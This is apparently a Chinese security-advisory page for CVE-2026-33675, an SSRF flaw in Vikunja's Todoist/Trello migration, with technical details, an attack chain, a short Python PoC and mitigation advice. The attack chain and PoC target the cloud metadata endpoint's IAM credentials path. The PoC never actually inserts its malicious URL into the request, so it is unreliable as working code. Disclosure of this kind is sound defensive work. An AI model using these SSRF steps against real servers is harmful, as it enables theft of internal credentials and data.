IPBUF安全漏洞报告
English
CVE-2026-33675 CVSS 6.4 中危

CVE-2026-33675 Vikunja SSRF漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33675
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Vikunja

相关标签

SSRFVikunja服务器端请求伪造中危漏洞CVE-2026-33675

漏洞概述

Vikunja是一款开源的自托管任务管理平台。在2.2.1版本之前,该平台存在服务器端请求伪造(SSRF)漏洞。具体而言,`pkg/modules/migration/helpers.go`文件中的迁移辅助函数`DownloadFile`和`DownloadFileWithHeaders`在处理HTTP GET请求时缺乏SSRF防护机制。当用户触发Todoist或Trello的数据迁移功能时,系统会直接将第三方API响应中的文件附件URL传递给这些函数,而未进行有效的安全验证。这可能导致攻击者利用Vikunja服务器作为代理,强制其访问内部网络资源,并将响应内容作为可下载的任务附件返回给用户,进而窃取敏感信息或扫描内网。

技术细节

该漏洞的根本原因在于Vikunja的迁移模块未能对用户可控的URL来源进行严格的校验和过滤。在处理从Todoist或Trello等外部服务导入任务数据时,应用会解析API返回的JSON数据,提取其中的文件附件链接。这些链接随后被直接传入`DownloadFile`或`DownloadFileWithHeaders`函数中执行HTTP请求。由于代码中未实施内网IP地址阻断(如禁止访问127.0.0.1、169.254.169.254等)或DNS重绑定防护,攻击者可以通过构造恶意的API响应或控制第三方服务,向Vikunja服务器发送指向内网敏感资源(如云元数据服务、内部管理后台、数据库端口等)的URL。Vikunja服务器接收到请求后,会代替攻击者访问这些内部地址,获取响应数据并将其打包为文件返回给攻击者,从而实现SSRF攻击,突破网络边界限制。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别出目标正在使用存在漏洞的Vikunja版本(< 2.2.1),并确认其开启了Todoist或Trello迁移功能。
STEP 2
步骤2:准备恶意载荷
攻击者构造一个指向内部敏感资源的URL,例如云服务元数据端点(http://169.254.169.254/latest/meta-data/)或内网Web管理面板。
STEP 3
步骤3:触发漏洞
攻击者通过控制第三方API响应或篡改迁移数据流,将恶意URL作为文件附件地址注入,诱导Vikunja服务器发起请求。
STEP 4
步骤4:内网探测与数据回传
Vikunja服务器解析恶意URL并访问内网资源,获取响应数据后将其封装为任务附件文件。攻击者通过下载附件获取内网敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # Proof of Concept for CVE-2026-33675 (Vikunja SSRF) # This script demonstrates how an attacker might exploit the migration feature. import requests import json # Configuration TARGET_URL = "http://localhost:3456/api/v1/migration/trello" # Example endpoint MALICIOUS_URL = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Internal metadata endpoint # Headers headers = { "Authorization": "Bearer <USER_TOKEN>", "Content-Type": "application/json" } # Payload mimicking a Trello migration request with a malicious attachment URL # In a real scenario, the attacker would need to control the Trello API response # or intercept the request to inject the URL. payload = { "code": "<MIGRATION_CODE>", # The vulnerability lies in the backend processing the file URLs from the third-party API. # This payload structure represents the data flow leading to the vulnerable function. } print(f"[*] Attempting to trigger migration with SSRF payload pointing to: {MALICIOUS_URL}") try: # Note: Actual exploitation requires triggering the specific migration flow. # This is a simplified representation of the request interaction. response = requests.post(TARGET_URL, headers=headers, json=payload) if response.status_code == 200: print("[+] Migration request initiated successfully.") print("[+] Check the downloaded task attachments for the SSRF response.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Vikunja < 2.2.1

防御指南

临时缓解措施
建议立即升级至Vikunja v2.2.1或更高版本。若无法立即升级,应暂时禁用项目迁移功能以阻断攻击路径。同时,可在防火墙或WAF层面配置出站规则,禁止服务器访问RFC 1918定义的私有网络地址及链路本地地址(如169.254.169.254),从而减轻SSRF攻击带来的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表